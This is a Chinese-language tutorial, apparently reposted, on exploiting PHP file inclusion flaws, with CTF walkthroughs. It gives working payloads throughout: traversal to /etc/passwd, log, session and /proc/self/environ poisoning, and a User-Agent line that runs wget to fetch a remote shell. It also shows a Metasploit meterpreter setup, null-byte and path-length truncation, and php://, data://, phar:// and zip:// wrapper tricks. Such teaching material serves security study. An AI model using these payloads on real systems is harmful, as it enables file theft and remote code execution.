PHP文件包含漏洞


原理

文件包含漏洞的產生原因是在通過 PHP 的函數引入文件時,由於傳入的文件名沒有經過合理的校驗,從而操作了預想之外的文件,就可能導致意外的文件泄露甚至惡意的代碼注入。

php 中引發文件包含漏洞的通常是以下四個函數:

1、include() 當使用該函數包含文件時,只有代碼執行到 include() 函數時才將文件包含進來,發生錯誤時只給出一個警告,繼續向下執行。

2、include_once() 功能和 include() 相同,區別在於當重復調用同一文件時,程序只調用一次。

3、require() 只要程序一執行就會立即調用文件,發生錯誤的時候會輸出錯誤信息,並且終止腳本的運行

4、require_once() 它的功能與 require() 相同,區別在於當重復調用同一文件時,程序只調用一次。

當使用這四個函數包含一個新文件時,該文件將作為 PHP 代碼執行,php 內核並不在意該被包含的文件是什么類型。所以如果被包含的是 txt 文件、圖片文件、遠程 url、也都將作為 PHP 代碼執行。這一特性,在實施攻擊時非常有用。

利用條件

(1) include 等函數通過動態執行變量的方式引入需要包含的文件;

(2)用戶能控制該動態變量。

分類

文件包含漏洞可以分為 RFI (遠程文件包含)和 LFI(本地文件包含漏洞)兩種。而區分他們最簡單的方法就是 php.ini 中是否開啟了allow_url_include。如果開啟 了我們就有可能包含遠程文件。

1、本地文件包含 LFI(Local File Include)

2、遠程文件包含 RFI(Remote File Include)(需要 php.ini 中 allow_url_include=on、allow_url_fopen = On)

在 php.ini 中,allow_url_fopen 默認一直是 On,而 allow_url_include 從 php5.2 之后就默認為 Off。

一、本地包含

包含同目錄下的文件

?file=test.txt

目錄遍歷:

?file=./../../test.txt

./ 當前目錄 ../ 上一級目錄,這樣的遍歷目錄來讀取文件

包含圖片木馬

命令行下執行:

copy x.jpg /b + s.php /b f.jpg

上傳 f.jpg、找到 f.jpg 路徑、包含 f.jpg

包含日志

利用條件:需要知道服務器日志的存儲路徑,且日志文件可讀。

很多時候,web 服務器會將請求寫入到日志文件中,比如說 apache。在用戶發起請求時,會將請求寫入 access.log,當發生錯誤時將錯誤寫入 error.log。默認情況下,日志保存路徑在 /var/log/apache2/

?file=../../../../../../../../../var/log/apache/error.log

1、提交如下請求,將 payload 插入日志

 

2、可以嘗試利用 UA 插入 payload 到日志文件

3、MSF 攻擊模塊

 
        
use exploit/unix/webapp/php_include
set rhost 192.168.159.128
set rport 80
set phpuri /index.php?file=xxLFIxx
set path http://172.18.176.147/
set payload php/meterpreter/bind_tcp
set srvport 8888
exploit -z

日志默認路徑

apache+Linux 日志默認路徑

/etc/httpd/logs/access_log

或者

/var/log/httpd/access log

apache+win2003 日志默認路徑

D:/xampp/apache/logs/access.log

D:/xampp/apache/logs/error.log

IIS6.0+win2003 默認日志文件

C:/WINDOWS/system32/Logfiles

IIS7.0+win2003 默認日志文件

%SystemDrive%/inetpub/logs/LogFiles

nginx 日志文件在用戶安裝目錄的 logs 目錄下

如安裝目錄為 /usr/local/nginx,則日志目錄就是在

/usr/local/nginx/logs

也可通過其配置文件 Nginx.conf,獲取到日志的存在路徑

/opt/nginx/logs/access.log

web 中間件默認配置

apache+linux 默認配置文件

/etc/httpd/conf/httpd.conf

或者

index.php?page=/etc/init.d/httpd

IIS6.0+win2003 配置文件

C:/Windows/system32/inetsrv/metabase.xml

IIS7.0+WIN 配置文件

C:/Windows/System32/inetsrv/config/application/Host.config

包含 session

利用條件:session 文件路徑已知,且其中內容部分可控。

PHP 默認生成的 Session 文件往往存放在 /tmp 目錄下

/tmp/sess_SESSIONID

?file=../../../../../../tmp/sess_tnrdo9ub2tsdurntv0pdir1no7

session 文件一般在 /tmp 目錄下,格式為 sess_[your phpsessid value],有時候也有可能在 /var/lib/php5 之類的,在此之前建議先讀取配置文件。在某些特定的情況下如果你能夠控制 session 的值,也許你能夠獲得一個 shell

包含 /proc/self/environ 文件

利用條件:

1、php 以 cgi 方式運行,這樣 environ 才會保持 UA 頭。

2、environ 文件存儲位置已知,且 environ 文件可讀。

姿勢:

proc/self/environ 中會保存 user-agent 頭。如果在 user-agent 中插入 php 代碼,則 php 代碼會被寫入到 environ 中。之后再包含它,即可。

?file=../../../../../../../proc/self/environ

選擇 User-Agent 寫代碼如下:

<?system('wget http://www.yourweb.com/oneword.txt -O shell.php');?>

然后提交請求。

包含臨時文件

php 中上傳文件,會創建臨時文件。在 linux 下使用 /tmp 目錄,而在 windows 下使用 c:\winsdows\temp 目錄。在臨時文件被刪除之前,利用競爭即可包含該臨時文件。

由於包含需要知道包含的文件名。一種方法是進行暴力猜解,linux 下使用的隨機函數有缺陷,而 window 下只有 65535 中不同的文件名,所以這個方法是可行的。另一種方法 phpinfo 來獲取臨時文件的路徑以及名稱,然后臨時文件在極短時間被刪除的時候,需要競爭時間包含臨時文件拿到 webshell。

有防御的本地文件包含

審計中可見這樣的包含模版文件:

 
        
<?php
    $file = $_GET['file'];
    include '/var/www/html/'.$file.'/test/test.php';
?>

這段代碼指定了前綴和后綴:這樣就很“難”直接去包含前面提到的種種文件。

1、%00 截斷

能利用 00 截斷的場景現在應該很少了

PHP 內核是由 C 語言實現的,因此使用了 C 語言中的一些字符串處理函數。在連接字符串時,0 字節 (\x00) 將作為字符串的結束符。所以在這個地方,攻擊者只要在最后加入一個 0 字節,就能截斷 file 變量之后的字符串。

?file=../../../../../../../../../etc/passwd%00

需要 magic_quotes_gpc=off,PHP 小於 5.3.4 有效

2、%00 截斷目錄遍歷:

?file=../../../../../../../../../var/www/%00

需要 magic_quotes_gpc=off,unix 文件系統,比如 FreeBSD,OpenBSD,NetBSD,Solaris

3、路徑長度截斷:

?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.

php 版本小於 5.2.8 可以成功,linux 需要文件名長於 4096,windows 需要長於 256

利用操作系統對目錄最大長度的限制,可以不需要 0 字節而達到截斷的目的。

我們知道目錄字符串,在 window 下 256 字節、linux 下 4096 字節時會達到最大值,最大值長度之后的字符將被丟棄。

而利用 "./" 的方式即可構造出超長目錄字符串:

4、點號截斷:

?file=../../../../../../../../../boot.ini/………[…]…………

php 版本小於 5.2.8 可以成功,只適用 windows,點號需要長於 256

5、編碼繞過

服務器端常常會對於 ../ 等做一些過濾,可以用一些編碼來進行繞過。下面這些總結來自《白帽子講 Web 安全》。

利用 url 編碼:

../ -》 %2e%2e%2f -》 ..%2f -》 %2e%2e/

..\ -》 %2e%2e%5c -》 ..%5c -》 %2e%2e\

二次編碼:

../ -》 %252e%252e%252f

..\ -》 %252e%252e%255c

二、遠程文件包含

?file=[http|https|ftp]://www.bbb.com/shell.txt

可以有三種,http、https、ftp

有防御的遠程文件包含

 
        
<?php 
    $basePath = $_GET['path'];
    require_once $basePath . "/action/m_share.php";  
?>

攻擊者可以構造類似如下的攻擊 URL

http://localhost/FIleInclude/index.php?path=http://localhost/test/solution.php? =http://localhost/FIleInclude/index.php?path=http://localhost/test/solution.php%23

產生的原理:

/?path=http://localhost/test/solution.php?

最終目標應用程序代碼實際上執行了:

require_once "http://localhost/test/solution.php?/action/m_share.php";

注意,這里很巧妙,問號 "?" 后面的代碼被解釋成 URL 的 querystring,這也是一種"截斷"思想,和 %00 一樣

攻擊者可以在 http://localhost/test/solution.php 上模擬出相應的路徑,從而使之吻合

PHP 中的封裝協議(偽協議)

http://cn2.php.net/manual/zh/wrappers.php

file:///var/www/html 訪問本地文件系統

ftp://<login>:<password>@<ftpserveraddress> 訪問 FTP(s) URLs

data:// 數據流

http:// — 訪問 HTTP(s) URLs

ftp:// — 訪問 FTP(s) URLs

php:// — 訪問各個輸入/輸出流

zlib:// — 壓縮流

data:// — Data (RFC 2397)

glob:// — 查找匹配的文件路徑模式

phar:// — PHP Archive

ssh2:// — Secure Shell 2

rar:// — RAR

ogg:// — Audio streams

expect:// — 處理交互式的流

利用 php 流 input:

利用條件:

1、allow_url_include = On。

2、對 allow_url_fopen 不做要求。

index.php?file=php://input

POST:

<? phpinfo();?>

 

結果將在 index.php 所在文件下的文件 shell.php 內增加 "<?php phpinfo();?>" 一句話

利用 php 流 filter:

?file=php://filter/convert.base64-encode/resource=index.php

通過指定末尾的文件,可以讀取經 base64 加密后的文件源碼,之后再 base64 解碼一下就行。雖然不能直接獲取到 shell 等,但能讀取敏感文件危害也是挺大的。

其他姿勢:

index.php?file=php://filter/convert.base64-encode/resource=index.php

效果跟前面一樣,少了 read 等關鍵字。在繞過一些 waf 時也許有用。

利用 data URIs:

利用條件:

1、php 版本大於等於 php5.2

2、allow_url_fopen = On

3、allow_url_include = On

利用 data:// 偽協議進行代碼執行的思路原理和 php:// 是類似的,都是利用了 PHP 中的流的概念,將原本的 include 的文件流重定向到了用戶可控制的輸入流中

?file=data:text/plain,<?php phpinfo();?>

?file=data:text/plain;base64,base64編碼的payload

index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

加號 + 的 url 編碼為 %2b,PD9waHAgcGhwaW5mbygpOz8+ 的 base64 解碼為:<?php phpinfo();?>

需要 allow_url_include=On

利用 XSS 執行任意代碼:

?file=http://127.0.0.1/path/xss.php?xss=phpcode

利用條件:

1、allow_url_fopen = On

2、並且防火牆或者白名單不允許訪問外網時,先在同站點找一個 XSS 漏洞,包含這個頁面,就可以注入惡意代碼了。條件非常極端和特殊

glob:// 偽協議

glob:// 查找匹配的文件路徑模式

phar://

利用條件:

1、php 版本大於等於 php5.3.0

姿勢:

假設有個文件 phpinfo.txt,其內容為 <?php phpinfo(); ?>,打包成 zip 壓縮包,如下:

指定絕對路徑

index.php?file=phar://D:/phpStudy/WWW/fileinclude/test.zip/phpinfo.txt

或者使用相對路徑(這里 test.zip 就在當前目錄下)

index.php?file=phar://test.zip/phpinfo.txt

zip://

利用條件:

1、php 版本大於等於 php5.3.0

<?php
$file = $_GET['file'];
if(isset($file) && strtolower(substr($file, -4)) == ".jpg"){
    include($file);
}
?>

截取過來的后面 4 格字符,判斷是不是 jpg,如果是 jpg 才進行包含

但使用 zip 協議,需要指定絕對路徑,同時將 # 編碼為 %23,之后填上壓縮包內的文件。

然后我們構造 zip://php.zip#php.jpg

index.php?file=zip://D:\phpStudy\WWW\fileinclude\test.zip%23php.jpg

注意事項:

1、若是使用相對路徑,則會包含失敗。

2、協議原型:zip://archive.zip#dir/file.txt

3、注意 url 編碼,因為這個 # 會和 url 協議中的 # 沖突

CTF 中的文件包含套路

php 偽協議讀取源碼

點擊 login,發現鏈接變為:

http://54.222.188.152:1/index.php?action=login.php

推測文件包含 訪問:

http://54.222.188.152:1/index.php?action=php://filter/read=convert.base64-encode/resource=login.php

得到源碼

貪婪包含

iscc2018 的一道題目,打開題目

查看源碼

知道這里調用 show.php?img=1.jpg 訪問,並修改 1 的值

大概可以猜測 文件包含漏洞,嘗試

img=php://filter/read=convert.base64-encode/resource=show.php

但是不行

題目的坑點在於還需要包含 jpg,這就是貪婪包含所在,也就是后台某處代碼所致,

curl http://118.190.152.202:8006/show.php?img=php://filter/resource=jpg/resource=show.php

 
        
<?php
error_reporting(0);
ini_set('display_errors','Off');
 
        
include('config.php');
 
        
$img = $_GET['img'];
if(isset($img) && !empty($img))
{
    if(strpos($img,'jpg') !== false)
    {
        if(strpos($img,'resource=') !== false && preg_match('/resource=.*jpg/i',$img) === 0)
        {
            die('File not found.');
        }
 
        
        preg_match('/^php:\/\/filter.*resource=([^|]*)/i',trim($img),$matches);
        if(isset($matches[1]))
        {
            $img = $matches[1];
        }
 
        
        header('Content-Type: image/jpeg');
        $data = get_contents($img);
        echo $data;
    }
    else
    {
        die('File not found.');
    }
 
        
}
else
{
    ?>
    <img src="1.jpg">
    <?php
}
?>

1、開頭包含了 config.php

2、img 必須有 jpg 但又不能有 resource=.*jpg

3、正則檢查了並把結果填充到 $matches 里去,說明我們可以使用 php://filter 偽協議,並且 resource 的值不含|,那么我們就可以用| 來分隔 php 和 jpg,因為正則匹配到| 就不會繼續匹配后面的 jpg 了,使得 \$img=show.php

知道了 config.php 再去訪問明白為什么必須包含 jpg

 
        
<?php
function get_contents($img)
{
        if(strpos($img,'jpg') !== false)
        {
                return file_get_contents($img);
        }
        else
        {
                header('Content-Type: text/html');
                return file_get_contents($img);
        }
}
?>

最終 payload:

http://118.190.152.202:8006/show.php?img=php://filter/resource=../flag.php|jpg

%00 截斷

要求:

1、php 版本小於 5.3.4

2、magic_quotes_gpc 為 off 狀態

大多數的文件包含漏洞都是需要截斷的,因為正常程序里面包含的文件代碼一般是 include(BASEPATH.$mod.’.php’) 或者 include($mod.’.php’) 這樣的方式,如果我們不能寫入 .php 為擴展名的文件,那我們是需要截斷來利用的受限與 gpc 和 addslashes 等函數的過濾,另外,php5.3 之后的版本全面修復了 %00 截斷的問題

 
        
<?php
 
        
include($_GET['a'].'.php')
 
        
?> 

上傳我們的 2.txt 文件,請求

http://localhost/test/1.php?a=2.txt%00

即可執行 2.txt 中 phpinfo 的代碼

列子二

漏洞文件 index.php

<?php
if (empty($_GET["file"])){
    echo('../flag.php');
    return;
}
else{
    $filename='pages/'.(isset($_GET["file"])?$_GET["file"]:"welcome.txt").'.html';
    include $filename;
}
?>

flag 文件放在上層目錄

這里限制了后綴名,我們需要通過截斷才能訪問到 flag 文件 利用代碼:

index.php?file=../../flag.php%00

%00 會被解析為 0x00,所以導致截斷的發生 我們通過截斷成功的繞過了后綴限制

路徑長度截斷

我們現在已經知道使用 %00 截斷有兩個條件 php 版本小於 5.3.4 和 magic_quotes_gpc 為 off 狀態。 如果這時我們將 magic_quotes_gpc 改為 on 那么就不能截斷了,因為開啟 magic_quotes_gpc 后 %00 會被加上一個反斜杠轉義掉

那么我們這時候有沒有辦法繞過這個限制呢?有一個條件那就是 php 版本小於 5.3.10 我們的代碼依舊不變 漏洞文件 index.php

<?php
if (empty($_GET["file"])){
    echo('../flag.php');
    return;
}
else{
    $filename='pages/'.(isset($_GET["file"])?$_GET["file"]:"welcome.txt").'.html';
    include $filename;
}
?>

flag 文件放在上層目錄 這時我們可以使用字符 ./. 和 ./ 來進行繞過,因為文件路徑有長度限制

windows 259 個 bytes

linux 4096 個 bytes

在 windows 下需要.字符最少的利用 POC1:

file=../../flag.php..............................................................................................................................................................................................................................................

 

 

 

在 windows 下需要.字符最少的利用 POC2:

file=../../flag.php./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

將 flag.php 改為 flag1.php 在 windows 下需要.字符最少的利用 POC3:

file=../../flag1.php/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

我們發現在使用 payload3 時將文件名改為了 flag1.php,而 payload2 和 payload3 則是一個.開始,一個 / 開始。 這和文件長度的奇偶性有關,當為偶數的時候我們選擇 payload2,為奇數的時候我們選擇 payload3

Refer:

檸檬師傅:

https://www.cnblogs.com/iamstudy/articles/include_file.html

腹黑師傅:

https://zhuanlan.zhihu.com/p/27739315


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM